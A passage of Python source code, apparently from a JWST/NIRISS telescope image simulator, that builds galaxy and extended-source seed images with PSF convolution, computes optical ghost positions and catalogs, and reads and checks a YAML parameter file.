np.zeros((yd, xd))\n\n # Create corresponding segmentation map\n segmentation = segmap.SegMap()\n segmentation.xdim = xd\n segmentation.ydim = yd\n segmentation.initialize_map()\n\n # Create table of point source countrate versus psf size\n if self.add_psf_wings is True:\n self.translate_psf_table(magsys)\n\n for entry_index, entry in enumerate(galaxylist):\n # Start timer\n self.timer.start()\n\n # Get position angle in the correct units. Inputs for each\n # source are degrees east of north. So we need to find the\n # angle between north and V3, and then the angle between\n # V3 and the y-axis on the detector. The former can be found\n # using rotations.posang(attitude_matrix, v2, v3). The latter\n # is just V3SciYAngle in the SIAF (I think???)\n # v3SciYAng is measured in degrees, from V3 towards the Y axis,\n # measured from V3 towards V2.\n xposang = self.calc_x_position_angle(entry)\n sub_x = 0.\n sub_y = 0.\n\n # First create the galaxy\n stamp = self.create_galaxy(entry['radius'], entry['ellipticity'], entry['sersic_index'],\n xposang*np.pi/180., entry['countrate_e/s'], sub_x, sub_y)\n\n # If the stamp image is smaller than the PSF in either\n # dimension, embed the stamp in an array that matches\n # the psf size. This is so the upcoming convolution will\n # produce an output that includes the wings of the PSF\n galdims = stamp.shape\n\n # Using the PSF \"core\" normalized to 1 will keep more light near\n # the core of the galaxy, compared to the more rigorous\n # approach that uses the full convolution including the wings.\n # Whether this is a problem or not will depend on the relative\n # sizes of the photometry aperture versus the extended source.\n psf_dimensions = np.array(self.psf_library.data.shape[-2:])\n psf_shape = np.array((psf_dimensions / self.psf_library_oversamp) -\n self.params['simSignals']['gridded_psf_library_row_padding']).astype(np.int)\n\n if ((galdims[0] < psf_shape[0]) or (galdims[1] < psf_shape[1])):\n stamp = self.enlarge_stamp(stamp, psf_shape)\n galdims = stamp.shape\n\n # Get the PSF which will be convolved with the galaxy profile\n # The PSF should be centered in the pixel containing the galaxy center\n psf_image, min_x, min_y, wings_added = self.create_psf_stamp(entry['pixelx'], entry['pixely'], psf_shape[1], psf_shape[0],\n ignore_detector=True)\n\n # Skip sources that fall completely off the detector\n if psf_image is None:\n self.timer.stop()\n continue\n\n # Normalize the signal in the PSF stamp so that the final galaxy\n # signal will match the requested value\n psf_image = psf_image / np.sum(psf_image)\n\n # If the source subpixel location is beyond 0.5 (i.e. the edge\n # of the pixel), then we shift the wing->core offset by 1.\n # We also need to shift the location of the wing array on the\n # detector by 1\n if wings_added:\n x_delta = int(np.modf(entry['pixelx'])[0] > 0.5)\n y_delta = int(np.modf(entry['pixely'])[0] > 0.5)\n else:\n x_delta = 0\n y_delta = 0\n\n # Calculate the coordinates describing the overlap between\n # the PSF image and the galaxy image\n xap, yap, xpts, ypts, (i1, i2), (j1, j2), (k1, k2), \\\n (l1, l2) = self.create_psf_stamp_coords(entry['pixelx']+x_delta, entry['pixely']+y_delta,\n galdims, galdims[1] // 2, galdims[0] // 2,\n coord_sys='aperture')\n\n # Make sure the stamp is at least partially on the detector\n if i1 is not None and i2 is not None and j1 is not None and j2 is not None:\n # Convolve the galaxy image with the PSF image\n stamp = s1.fftconvolve(stamp, psf_image, mode='same')\n\n # Now add the stamp to the main image\n if ((j2 > j1) and (i2 > i1) and (l2 > l1) and (k2 > k1) and (j1 < yd) and (i1 < xd)):\n stamp_to_add = stamp[l1:l2, k1:k2]\n galimage[j1:j2, i1:i2] += stamp_to_add\n\n # Add source to segmentation map\n segmentation.add_object_threshold(stamp_to_add, j1, i1, entry['index'], self.segmentation_threshold)\n\n if self.params['Inst']['mode'] in DISPERSED_MODES:\n # Add source to the seed cube\n stamp = np.zeros(stamp_to_add.shape)\n flag = stamp_to_add >= self.segmentation_threshold\n stamp[flag] = entry['index']\n seed_cube[entry['index']] = [i1, j1, stamp_to_add*1, stamp*1]\n\n else:\n pass\n # print(\"Source located entirely outside the field of view. Skipping.\")\n else:\n pass\n\n self.timer.stop(name='gal_{}'.format(str(entry_index).zfill(6)))\n\n # If there are more than 30 galaxies, provide an estimate of processing time\n if len(galaxylist) > 100:\n if ((entry_index == 20) or ((entry_index > 0) and (np.mod(entry_index, 100) == 0))):\n time_per_galaxy = self.timer.sum(key_str='gal_') / (entry_index+1)\n estimated_remaining_time = time_per_galaxy * (len(galaxylist) - (entry_index+1)) * u.second\n time_remaining = np.around(estimated_remaining_time.to(u.minute).value, decimals=2)\n finish_time = datetime.datetime.now() + datetime.timedelta(minutes=time_remaining)\n self.logger.info(('Working on galaxy #{}. Estimated time remaining to add all galaxies to the stamp image: {} minutes. '\n 'Projected finish time: {}'.format(entry_index, time_remaining, finish_time)))\n\n if self.params['Inst']['mode'] in DISPERSED_MODES:\n # Save the seed cube file of galaxy sources\n pickle.dump(seed_cube, open(\"%s_galaxy_seed_cube.pickle\" % (self.basename), \"wb\"), protocol=pickle.HIGHEST_PROTOCOL)\n\n return galimage, segmentation.segmap, ghost_sources_from_galaxies\n\n def calc_x_position_angle(self, galaxy_entry):\n \"\"\"For Sersic2D galaxies, calcuate the position angle of the source\n relative to the x axis of the detector given the user-input position\n angle (degrees east of north).\n\n Parameters\n ----------\n galaxy_entry : astropy.table.Row\n Row of galaxy info from astropy Table of entries.\n e.g. output from readGalaxyFile\n\n Returns\n -------\n x_posang : float\n Position angle of source relative to detector x\n axis, in units of degrees\n \"\"\"\n # Note that this method also works for cases that make use of\n # an intermediate aperture (e.g. grism time series, although\n # grism time series obs at the moment only support point sources\n # currently.)\n ra_center = galaxy_entry[\"RA_degrees\"]\n dec_center = galaxy_entry[\"Dec_degrees\"]\n center = SkyCoord(ra_center, dec_center, unit=u.deg)\n offset = center.directional_offset_by(galaxy_entry['pos_angle'] * u.deg, 1. * u.arcsec)\n offset_x, offset_y = self.RADecToXY_astrometric(offset.ra, offset.dec)\n dx = offset_x - galaxy_entry['pixelx']\n dy = offset_y - galaxy_entry['pixely']\n return np.degrees(np.arctan2(dy, dx))\n\n def calc_x_position_angle_extended(self, position_angle):\n \"\"\"For extended sources from fits files with no WCS, calcuate the position\n angle of the source relative to the x axis of the detector given the source's\n v2, v3 location and the user-input position angle (degrees east of north).\n\n Parameters\n ----------\n position_angle : float\n Position angle of source in degrees east of north\n\n Returns\n -------\n x_posang : float\n Position angle of source relative to detector x\n axis, in units of degrees\n \"\"\"\n x_posang = self.local_roll + position_angle\n\n # If we are using a Grism Time series aperture, then we need to use the intermediate\n # aperture to determine the correct rotation. Currently, we should never be in\n # here since grism TSO observations only support the use of point sources.\n if self.use_intermediate_aperture:\n x_posang = self.intermediate_local_roll + position_angle\n return x_posang\n\n def locate_ghost(self, pixel_x, pixel_y, count_rate, magnitude_system, source_row, obj_type, log_skipped_filters=True):\n \"\"\"Calculate the ghost location, brightness, and stamp image file name\n for the input source.\n\n Parameters\n ----------\n pixel_x : float\n X-coordinate of the astronomical source on the detector\n\n pixel_y : float\n Y-coordinate of the astronomical source on the detector\n\n count_rate : float\n Count rate (ADU/sec) of the astronomical source\n\n magnitude_system : str\n Magnitude system of the sources (e.g. 'abmag')\n\n source_row : astropy.table.row.Row\n Row from source catalog giving information on the source\n\n obj_type : str\n Type of object the source is (e.g. 'point_source')\n\n Returns\n -------\n ghost_pixelx : float\n X-coordinate of the associated ghost on the detector\n\n ghost_pixely : float\n Y-coordinate of the associated ghost on the detector\n\n ghost_mag : float\n Magnitude of the associated ghost\n\n ghost_countrate : float\n Countrate of the associated ghost\n\n ghost_file : str\n Name of fits file containing the stamp image to use for the ghost source\n\n log_skipped_filters : bool\n If True, any filter magnitudes that are not converted because\n the filter is not in the gap summary file will be logged.\n \"\"\"\n allowed_types = ['point_source', 'galaxies', 'extended']\n if obj_type not in allowed_types:\n raise ValueError('Unknown object type: {}. Must be one of: {}'.format(obj_type, allowed_types))\n\n # For WFSS simulations, we ignore the grism\n search_filter = self.params['Readout']['filter']\n if self.params['Readout']['filter'].upper() in ['GR150R', 'GR150C']:\n search_filter = 'GR150'\n\n ghost_pixelx, ghost_pixely, ghost_countrate = get_ghost(pixel_x, pixel_y,\n count_rate,\n search_filter,\n self.params['Readout']['pupil'],\n NIRISS_GHOST_GAP_FILE,\n log_skipped_filters=log_skipped_filters\n )\n if isinstance(ghost_pixelx, np.float):\n if not np.isfinite(ghost_pixelx):\n return np.nan, np.nan, np.nan, np.nan, np.nan\n\n # Convert ghost countrate back into a magnitude\n ghost_mag = utils.countrate_to_magnitude(self.instrument, self.params['Readout']['filter'],\n magnitude_system, ghost_countrate, photfnu=self.photfnu,\n photflam=self.photflam,\n vegamag_zeropoint=self.vegazeropoint)\n\n # Determine the name of the file containing the stamp image\n # to use for the ghost\n ghost_file = determine_ghost_stamp_filename(source_row, obj_type)\n\n return ghost_pixelx, ghost_pixely, ghost_mag, ghost_countrate, ghost_file\n\n def save_ghost_catalog(self, x_loc, y_loc, filenames, magnitudes, orig_source_catalog, orig_source_mapping):\n \"\"\"From lists of ghost source positions and magnitudes, create an extended source\n catalog and save to a file\n\n Parameters\n ----------\n x_loc : list\n X-coordinate positions of ghost sources\n\n y_loc : list\n Y-coordinate positions of ghost sources\n\n filenames : list\n Fits file stamp images associated with the ghost sources\n\n magnitudes : list\n Magnitudes associated with the ghost sources\n\n orig_source_catalog : str\n Name of the catalog file from which the ghosts were derived.\n The output catalog will be saved into a 'ghost_source_catalogs'\n subdirectory under the directory of this file.\n\n orig_source_mapping : list\n Indexes of the real sources (in ``orig_source_catalog``) corresponding\n to the ghosts\n\n Returns\n -------\n catalog_filename : str\n Name of ascii file to which the catalog is saved\n \"\"\"\n if len(x_loc) == 0:\n self.logger.info(('Ghost catalog from the catalog {} has no sources.'.format(orig_source_catalog)))\n return None\n\n pa = [0.] * len(x_loc)\n ghost_sources = ExtendedCatalog(x=x_loc, y=y_loc, filenames=filenames, position_angle=pa,\n starting_index=self.max_source_index+1, corresponding_source_index_for_ghost=orig_source_mapping)\n\n for colname in magnitudes.colnames:\n ghost_sources.add_magnitude_column(magnitudes[colname], column_name=colname)\n\n self.max_source_index += len(ghost_sources.table['x_or_RA'])\n\n # Write out the ghost catalog to a new file, to be used later. Let's create\n # a subdirectory under the directory where the point source catalog is.\n source_cat_dir, source_cat_file = os.path.split(orig_source_catalog)\n ghost_cat_dir = os.path.join(source_cat_dir, 'ghost_source_catalogs')\n paramfile_name_only = os.path.basename(self.paramfile).strip('.yaml')\n utils.ensure_dir_exists(ghost_cat_dir)\n ghost_cat_filename = 'ghosts_from_{}_for_{}.cat'.format(source_cat_file, paramfile_name_only)\n ghosts_cat_file = os.path.join(ghost_cat_dir, ghost_cat_filename)\n\n ghost_sources.save(ghosts_cat_file)\n self.logger.info(('Catalog of ghost sources from the catalog {} has been saved to: {}'\n .format(source_cat_file, ghosts_cat_file)))\n return ghosts_cat_file\n\n def getExtendedSourceList(self, filename, ghost_search=True):\n \"\"\"Read in the list of extended sources from a catalog file, calculate locations\n on the detector, and countrates. Calculate positions of associated ghosts if\n requested\n\n Parameters\n ----------\n filename : str\n Name of ascii catalog file containing extended sources\n\n ghost_search : bool\n If True, positions and countrates for ghosts associated with the sources in\n ```filename``` are calculated. This currently is only done for NIRISS\n\n Returns\n -------\n extSourceList : astropy.table.Table\n Table of extended sources\n\n all_stamps : list\n List of stamp files to use for the extended sources\n\n ghost_catalog_file : str\n Name of ascii file containing the catalog of ghost sources associated with\n the input catalog\n \"\"\"\n extSourceList = Table(names=('index', 'pixelx', 'pixely', 'RA', 'Dec',\n 'RA_degrees', 'Dec_degrees', 'magnitude',\n 'countrate_e/s', 'counts_per_frame_e'),\n dtype=('i', 'f', 'f', 'S14', 'S14', 'f', 'f', 'f', 'f', 'f'))\n\n try:\n lines, pixelflag, magsys = self.read_point_source_file(filename)\n if pixelflag:\n self.logger.info(\"Extended source list input positions assumed to be in units of pixels.\")\n else:\n self.logger.info(\"Extended list input positions assumed to be in units of RA and Dec.\")\n except:\n raise FileNotFoundError(\"WARNING: Unable to open the extended source list file {}\".format(filename))\n\n # Create table of point source countrate versus psf size\n if self.add_psf_wings is True:\n self.translate_psf_table(magsys)\n\n # File to save adjusted point source locations\n eoutcat = self.params['Output']['file'][0:-5] + '_extendedsources.list'\n eslist = open(eoutcat, 'w')\n\n dtor = math.radians(1.)\n nx = (self.subarray_bounds[2] - self.subarray_bounds[0]) + 1\n ny = (self.subarray_bounds[3] - self.subarray_bounds[1]) + 1\n xc = (self.subarray_bounds[2] + self.subarray_bounds[0]) / 2.\n yc = (self.subarray_bounds[3] + self.subarray_bounds[1]) / 2.\n\n # Write out the RA and Dec of the field center to the output file\n # Also write out column headers to prepare for source list\n eslist.write((\"# Field center (degrees): %13.8f %14.8f y axis rotation angle \"\n \"(degrees): %f image size: %4.4d %4.4d\\n\" %\n (self.ra, self.dec, self.params['Telescope']['rotation'], nx, ny)))\n eslist.write('# \\n')\n eslist.write((\"# Index RA_(hh:mm:ss) DEC_(dd:mm:ss) RA_degrees \"\n \"DEC_degrees pixel_x pixel_y magnitude counts/sec counts/frame\\n\"))\n\n # Get source index numbers\n indexes = lines['index']\n\n # Check the source list and remove any sources that are well outside the\n # field of view of the detector. These sources cause the coordinate\n # conversion to hang.\n indexes, lines = self.remove_outside_fov_sources(indexes, lines, pixelflag, 4096)\n\n # Determine the name of the column to use for source magnitudes\n mag_column = self.select_magnitude_column(lines, filename)\n\n # For NIRISS observations where ghosts will be added, create a table to hold\n # the ghost entries\n if ghost_search and self.params['Inst']['instrument'].lower() == 'niriss' and self.params['simSignals']['add_ghosts']:\n ghost_source_index = []\n ghost_x = []\n ghost_y = []\n ghost_filename = []\n ghost_mag = []\n ghost_mags = None\n else:\n ghost_x = None\n\n # Loop over input lines in the source list\n skipped_non_niriss = False\n all_stamps = []\n ghost_i = 0\n for indexnum, values in zip(indexes, lines):\n if not os.path.isfile(values['filename']):\n raise FileNotFoundError('{} from extended source catalog does not exist.'.format(values['filename']))\n\n # If the filter/pupil pair is not in the ghost summary file, log that only for the\n # first source. No need to repeat for all sources.\n if ghost_i == 0:\n log_ghost_err = True\n else:\n log_ghost_err = False\n\n pixelx, pixely, ra, dec, ra_str, dec_str = self.get_positions(values['x_or_RA'],\n values['y_or_Dec'],\n pixelflag, 4096)\n # Get the input magnitude\n try:\n mag = float(values[mag_column])\n except ValueError:\n mag = None\n\n # Now find out how large the extended source image is, so we\n # know if all, part, or none of it will fall in the field of view\n ext_stamp = fits.getdata(values['filename'])\n if len(ext_stamp.shape) != 2:\n ext_stamp = fits.getdata(values['filename'], 1)\n\n # print('Extended source location, x, y, ra, dec:', pixelx, pixely, ra, dec)\n # print('extended source size:', ext_stamp.shape)\n\n # Rotate the stamp image if requested, but don't do so if the specified pos angle is None\n ext_stamp = self.rotate_extended_image(ext_stamp, values['pos_angle'])\n\n eshape = np.array(ext_stamp.shape)\n if len(eshape) == 2:\n edgey, edgex = eshape // 2\n else:\n raise ValueError((\"WARNING, extended source image {} is not 2D! \"\n \"This is not supported.\".format(values['filename'])))\n\n # Define the min and max source locations (in pixels) that fall onto the subarray\n # Inlude the effects of a requested grism_direct image, and also keep sources that\n # will only partially fall on the subarray\n # pixel coords here can still be negative and kept if the grism image is being made\n\n # First, coord limits for just the subarray\n miny = 0\n maxy = self.subarray_bounds[3] - self.subarray_bounds[1]\n minx = 0\n maxx = self.subarray_bounds[2] - self.subarray_bounds[0]\n\n # Expand the limits if a grism direct image is being made\n if (self.params['Output']['grism_source_image'] == True) or (self.params['Inst']['mode'] in [\"pom\", \"wfss\"]):\n transmission_ydim, transmission_xdim = self.transmission_image.shape\n miny = miny - self.subarray_bounds[1] - self.trans_ff_ymin\n minx = minx - self.subarray_bounds[0] - self.trans_ff_xmin\n maxx = minx + transmission_xdim\n maxy = miny + transmission_ydim\n nx = transmission_xdim\n ny = transmission_ydim\n\n # Now, expand the dimensions again to include point sources that fall only partially on the\n # subarray\n miny -= edgey\n maxy += edgey\n minx -= edgex\n maxx += edgex\n\n # Calculate count rate\n norm_factor = np.sum(ext_stamp)\n if mag is not None:\n countrate = utils.magnitude_to_countrate(self.instrument, self.params['Readout']['filter'],\n magsys, mag, photfnu=self.photfnu, photflam=self.photflam,\n vegamag_zeropoint=self.vegazeropoint)\n else:\n countrate = norm_factor * self.params['simSignals']['extendedscale']\n\n # Calculate the location and brightness of any ghost, if requested\n # This is done outside the if statement below because sources outside the\n # detector can potentially produce ghosts on the detector\n if ghost_search and self.params['Inst']['instrument'].lower() == 'niriss' and self.params['simSignals']['add_ghosts']:\n gx, gy, gmag, gcounts, gfile = self.locate_ghost(pixelx, pixely, countrate, magsys, values, 'extended',\n log_skipped_filters=log_ghost_err)\n if np.isfinite(gx) and gfile is not None:\n ghost_source_index.append(indexnum)\n ghost_x.append(gx)\n ghost_y.append(gy)\n ghost_mag.append(gmag)\n ghost_filename.append(gfile)\n\n ghost_src, skipped_non_niriss = source_mags_to_ghost_mags(values, self.params['Reffiles']['flux_cal'],\n magsys, NIRISS_GHOST_GAP_FILE, self.params['Readout']['filter'], log_skipped_filters=False)\n\n if ghost_mags is None:\n ghost_mags = copy.deepcopy(ghost_src)\n else:\n ghost_mags = vstack([ghost_mags, ghost_src])\n\n # Increment the counter to control the logging regardless of whether the source\n # is on the detector or not.\n ghost_i += 1\n\n # Keep only sources within the appropriate bounds\n if pixely > miny and pixely < maxy and pixelx > minx and pixelx < maxx:\n\n # Set up an entry for the output table\n entry = [indexnum, pixelx, pixely, ra_str, dec_str, ra, dec, mag]\n\n # save the stamp image after normalizing to a total signal of 1.\n ext_stamp /= norm_factor\n all_stamps.append(ext_stamp)\n\n # If a magnitude is given then adjust the countrate to match it\n if mag is not None:\n # Convert magnitudes to countrate (ADU/sec) and counts per frame\n framecounts = countrate * self.frametime\n magwrite = mag\n\n else:\n # In this case, no magnitude is given in the extended input list\n # Assume the input stamp image is in units of e/sec then.\n self.logger.warning(\"No magnitude given for extended source in {}.\".format(values['filename']))\n self.logger.warning(\"Assuming the original file is in units of counts per sec.\")\n self.logger.warning(\"Multiplying original file values by 'extendedscale'.\")\n framecounts = countrate * self.frametime\n magwrite = 99.99999\n\n # add the countrate and the counts per frame to pointSourceList\n # since they will be used in future calculations\n # entry.append(scale)\n entry.append(countrate)\n entry.append(framecounts)\n\n # add the good point source, including location and counts, to the pointSourceList\n # self.pointSourceList.append(entry)\n extSourceList.add_row(entry)\n\n # Write out positions, distances, and counts to the output file\n eslist.write((\"%i %s %s %14.8f %14.8f %9.3f %9.3f %9.3f %13.6e %13.6e\\n\" %\n (indexnum, ra_str, dec_str, ra, dec, pixelx, pixely, magwrite, countrate,\n framecounts)))\n\n if ghost_search and self.params['Inst']['instrument'].lower() == 'niriss' and \\\n self.params['simSignals']['add_ghosts'] and skipped_non_niriss:\n self.logger.info(\"Skipped the calculation of ghost source magnitudes for the non-NIRISS magnitude columns in {}\".format(filename))\n\n self.logger.info(\"Number of extended sources found within or close to the requested aperture: {}\".format(len(extSourceList)))\n # close the output file\n eslist.close()\n\n # If no good point sources were found in the requested array, alert the user\n if len(extSourceList) < 1:\n self.logger.info(\"Warning: no extended sources within the requested array.\")\n self.logger.info(\"The extended source image option is being turned off\")\n\n if ghost_search and self.params['Inst']['instrument'].lower() == 'niriss' and self.params['simSignals']['add_ghosts']:\n ghost_catalog_file = self.save_ghost_catalog(ghost_x, ghost_y, ghost_filename, ghost_mags, filename, ghost_source_index)\n else:\n ghost_catalog_file = None\n\n return extSourceList, all_stamps, ghost_catalog_file\n\n def rotate_extended_image(self, stamp_image, pos_angle):\n \"\"\"Given the user-input position angle for the extended source\n image, calculate the appropriate angle of the stamp image\n relative to the detector x axis, and rotate the stamp image.\n TO DO: if the stamp image contains a WCS, use that to\n determine rotation angle\n\n Parameters\n ----------\n stamp_image : numpy.ndarray\n 2D stamp image of the extended source\n\n pos_angle : float\n Position angle of stamp image relative to north in degrees. A value of None\n or string 'None' will result in no rotation, i.e. the input stamp is returned\n without modification.\n\n Returns\n -------\n rotated : numpy.ndarray\n Rotated stamp image\n \"\"\"\n\n # Don't rotate if the specified position angle is None.\n # check for both Python None and string 'None' or 'none'\n if pos_angle is None or str(pos_angle).lower() == 'none':\n return stamp_image\n\n # Add later: check for WCS and use that\n x_pos_ang = self.calc_x_position_angle_extended(pos_angle)\n\n rotated = rotate(stamp_image, x_pos_ang, mode='constant', cval=0.)\n return rotated\n\n def make_extended_source_image(self, extSources, extStamps, extConvolutions):\n # Create the empty image\n yd, xd = self.output_dims\n extimage = np.zeros(self.output_dims)\n\n # Prepare seed cube for extended sources\n seed_cube = {}\n\n # Create corresponding segmentation map\n segmentation = segmap.SegMap()\n segmentation.xdim = xd\n segmentation.ydim = yd\n segmentation.initialize_map()\n\n if len(extConvolutions) > 0:\n if extConvolutions[0]:\n self.logger.info('Convolving extended sources with PSF prior to adding to seed image.')\n else:\n self.logger.info('Extended sources will not be convolved with the PSF.')\n\n # Loop over the entries in the source list\n for entry, stamp, convolution in zip(extSources, extStamps, extConvolutions):\n stamp_dims = stamp.shape\n\n stamp *= entry['countrate_e/s']\n\n # If the stamp needs to be convolved with the NIRCam PSF,\n # create the correct PSF here and read it in\n if convolution:\n # If the stamp image is smaller than the PSF in either\n # dimension, embed the stamp in an array that matches\n # the psf size. This is so the upcoming convolution will\n # produce an output that includes the wings of the PSF\n psf_dimensions = np.array(self.psf_library.data.shape[-2:])\n psf_shape = np.array((psf_dimensions / self.psf_library_oversamp) -\n self.params['simSignals']['gridded_psf_library_row_padding']).astype(np.int)\n if ((stamp_dims[0] < psf_shape[0]) or (stamp_dims[1] < psf_shape[1])):\n stamp = self.enlarge_stamp(stamp, psf_shape)\n stamp_dims = stamp.shape\n\n # Create the PSF\n # Using the PSF \"core\" normalized to 1 will keep more light near\n # the core of the galaxy, compared to the more rigorous\n # approach that uses the full convolution including the wings.\n # Whether this is a problem or not will depend on the relative\n # sizes of the photometry aperture versus the extended source.\n psf_image, min_x, min_y, wings_added = self.create_psf_stamp(entry['pixelx'], entry['pixely'],\n psf_shape[1], psf_shape[0], ignore_detector=True)\n\n # Skip sources that fall completely off the detector\n if psf_image is None:\n continue\n\n # Normalize the PSF so that the final signal in the extended\n # source mathces the requested signal\n psf_image = psf_image / np.sum(psf_image)\n\n # If the source subpixel location is beyond 0.5 (i.e. the edge\n # of the pixel), then we shift the wing->core offset by 1.\n # We also need to shift the location of the wing array on the\n # detector by 1\n if wings_added:\n x_delta = int(np.modf(entry['pixelx'])[0] > 0.5)\n y_delta = int(np.modf(entry['pixely'])[0] > 0.5)\n else:\n x_delta = 0\n y_delta = 0\n\n # Calculate the coordinates describing the overlap\n # between the extended image and the PSF image\n xap, yap, xpts, ypts, (i1, i2), (j1, j2), (k1, k2), \\\n (l1, l2) = self.create_psf_stamp_coords(entry['pixelx']+x_delta, entry['pixely']+y_delta,\n stamp_dims, stamp_dims[1] // 2, stamp_dims[0] // 2,\n coord_sys='aperture')\n\n if None in [i1, i2, j1, j2, k1, k2, l1, l2]:\n continue\n\n # Convolve the extended image with the stamp image\n stamp = s1.fftconvolve(stamp, psf_image, mode='same')\n else:\n # If no PSF convolution is to be done, find the\n # coordinates describing the overlap between the\n # original stamp image and the aperture\n xap, yap, xpts, ypts, (i1, i2), (j1, j2), (k1, k2), \\\n (l1, l2) = self.create_psf_stamp_coords(entry['pixelx'], entry['pixely'],\n stamp_dims, stamp_dims[1] // 2, stamp_dims[0] // 2,\n coord_sys='aperture')\n\n # Make sure the stamp is at least partially on the detector\n if i1 is not None and i2 is not None and j1 is not None and j2 is not None:\n\n # Now add the stamp to the main image\n if ((j2 > j1) and (i2 > i1) and (l2 > l1) and (k2 > k1) and (j1 < yd) and (i1 < xd)):\n stamp_to_add = stamp[l1:l2, k1:k2]\n extimage[j1:j2, i1:i2] += stamp_to_add\n\n # Add source to segmentation map\n segmentation.add_object_threshold(stamp_to_add, j1, i1, entry['index'],\n self.segmentation_threshold)\n\n if self.params['Inst']['mode'] in DISPERSED_MODES:\n # Add source to seed cube\n stamp = np.zeros(stamp_to_add.shape)\n flag = stamp_to_add >= self.segmentation_threshold\n stamp[flag] = entry['index']\n seed_cube[entry['index']] = [i1, j1, stamp_to_add*1, stamp*1]\n\n self.n_extend += 1\n\n if self.params['Inst']['mode'] in DISPERSED_MODES:\n # Save the seed cube\n pickle.dump(seed_cube, open(\"%s_extended_seed_cube.pickle\" % (self.basename), \"wb\"), protocol=pickle.HIGHEST_PROTOCOL)\n\n if self.n_extend == 0:\n self.logger.info(\"No extended sources present within the aperture.\")\n else:\n self.logger.info('Number of extended sources present within the aperture: {}'.format(self.n_extend))\n return extimage, segmentation.segmap\n\n def enlarge_stamp(self, image, dims):\n \"\"\"Place the given image within an enlarged array of zeros. If the\n requested dimension lengths are odd while ``image``'s dimension\n lengths are even, then the new array is expanded by one to also have\n even dimensions. This ensures that ``image`` will be centered\n within ``array``.\n\n Parameters\n ----------\n image : numpy.ndarray\n 2D image\n\n dims : list\n 2-element list of (y-dimension, x-dimension) to embed ``image``\n within\n\n Returns\n -------\n array : numpy.ndarray\n Expanded image\n \"\"\"\n dim_y, dim_x = dims\n image_size_y, image_size_x = image.shape\n\n if image_size_x < dim_x:\n if dim_x % 2 != image_size_x % 2:\n dim_x += 1\n dx = dim_x - image_size_x\n dx = np.int(dx / 2)\n else:\n dx = 0\n dim_x = image_size_x\n\n if image_size_y < dim_y:\n if dim_y % 2 != image_size_y % 2:\n dim_y += 1\n dy = dim_y - image_size_y\n dy = np.int(dy / 2)\n else:\n dy = 0\n dim_y = image_size_y\n\n array = np.zeros((dim_y, dim_x))\n array[dy:dim_y-dy, dx:dim_x-dx] = image\n return array\n\n def seg_from_photutils(self, image, number, noise):\n # Create a segmentation map for the input image\n # using photutils. In this case, the input noise\n # represents the single frame noise for the appropriate\n # observing mode\n map = detect_sources(image, noise * 3., 8).data + number\n return map\n\n def makeFilterTable(self):\n # Create the table that contains the possible filter list, quantum yields, and countrates for a\n # star with vega magnitude of 15 in each filter. Do this by reading in phot_file\n # listed in the parameter file.\n\n # FUTURE WORK: If the countrates are left as 0, then pysynphot will\n # be used to calculate them later\n try:\n cvals_tab = ascii.read(self.params['Reffiles']['phot'])\n instrumentfilternames = cvals_tab['filter'].data\n stringcountrates = cvals_tab['countrate_for_vegamag15'].data\n instrumentmag15countrates = [float(s) for s in stringcountrates]\n strinstrumentqy = cvals_tab['quantum_yield'].data\n qy = [float(s) for s in strinstrumentqy]\n self.countvalues = dict(zip(instrumentfilternames, instrumentmag15countrates))\n self.qydict = dict(zip(instrumentfilternames, qy))\n except:\n raise IOError(\"WARNING: Unable to read in {}.\".format(self.params['Reffiles']['phot']))\n\n def readParameterFile(self):\n \"\"\"Read in the parameter file\"\"\"\n # List of fields in the yaml file to check for extra colons\n search_cats = ['title:', 'PI_Name:', 'Science_category:', 'observation_label:']\n\n # Open the yaml file and check for the presence of extra colons\n adjust_file = False\n with open(self.paramfile) as infile:\n read_data = infile.readlines()\n for i, line in enumerate(read_data):\n for search_term in search_cats:\n if search_term in line:\n idx = []\n hashidx = [200]\n for m in re.finditer(':', line):\n idx.append(m.start())\n for mm in re.finditer('#', line):\n hashidx.append(mm.start())\n num = np.sum(np.array(idx) < min(hashidx))\n if num > 1:\n adjust_file = True\n later_string = line[idx[0]+1:]\n later_string = later_string.replace(':', ',')\n newline = line[0: idx[0]+1] + later_string\n read_data[i] = newline\n\n if adjust_file:\n # Make a copy of the original file and then delete it\n param_dir, param_file = os.path.split(self.paramfile)\n yaml_copy = os.path.join(param_dir, 'orig_{}'.format(param_file))\n shutil.copy2(self.paramfile, yaml_copy)\n os.remove(self.paramfile)\n\n # Write the adjusted lines to a new copy of the input file\n with open(self.paramfile, 'w') as f:\n for item in read_data:\n f.write(\"{}\".format(item))\n\n # Load the yaml file\n try:\n with open(self.paramfile, 'r') as infile:\n self.params = yaml.safe_load(infile)\n except (ScannerError, FileNotFoundError, IOError) as e:\n self.logger.info(e)\n\n def check_params(self):\n \"\"\"Check input parameters for expected datatypes, values\"\"\"\n # Check instrument name\n if self.params['Inst']['instrument'].lower() not in INST_LIST:\n raise NotImplementedError(\"WARNING: {} instrument not implemented within ramp simulator\")\n\n # Check entered mode:\n possibleModes = MODES[self.params['Inst']['instrument'].lower()]\n self.params['Inst']['mode'] = self.params['Inst']['mode'].lower()\n if self.params['Inst']['mode'] in possibleModes:\n pass\n else:\n raise ValueError((\"WARNING: unrecognized mode {} for {}. Must be one of: {}\"\n .format(self.params['Inst']['mode'],\n self.params['Inst']['instrument'], possibleModes)))\n\n # Check telescope tracking entry\n self.params['Telescope']['tracking'] = self.params['Telescope']['tracking'].lower()\n if self.params['Telescope']['tracking'] not in TRACKING_LIST:\n raise ValueError((\"WARNING: telescope tracking set to {}, but must be one \"\n \"of {}.\".format(self.params['Telescope']['tracking'],\n TRACKING_LIST)))\n\n # Non-sidereal WFSS observations are not yet supported\n if self.params['Telescope']['tracking'] == 'non-sidereal' and \\\n self.params['Inst']['mode'] in ['wfss', 'ts_grism']:\n raise ValueError((\"WARNING: wfss observations with non-sidereal \"\n \"targets not yet supported.\"))\n\n # Set nframe and nskip according to the values in the\n # readout pattern definition file\n self.read_pattern_check()\n\n # Check for entries in the parameter file that are None or blank,\n # indicating the step should be skipped. Create a dictionary of steps\n # and populate with True or False\n self.runStep = {}\n self.runStep['pixelflat'] = self.checkRunStep(self.params['Reffiles']['pixelflat'])\n self.runStep['illuminationflat'] = self.checkRunStep(self.params['Reffiles']['illumflat'])\n self.runStep['astrometric'] = self.checkRunStep(self.params['Reffiles']['astrometric'])\n # self.runStep['distortion_coeffs'] = self.checkRunStep(self.params['Reffiles']['distortion_coeffs'])\n self.runStep['ipc'] = self.checkRunStep(self.params['Reffiles']['ipc'])\n self.runStep['crosstalk'] = self.checkRunStep(self.params['Reffiles']['crosstalk'])\n self.runStep['occult'] = 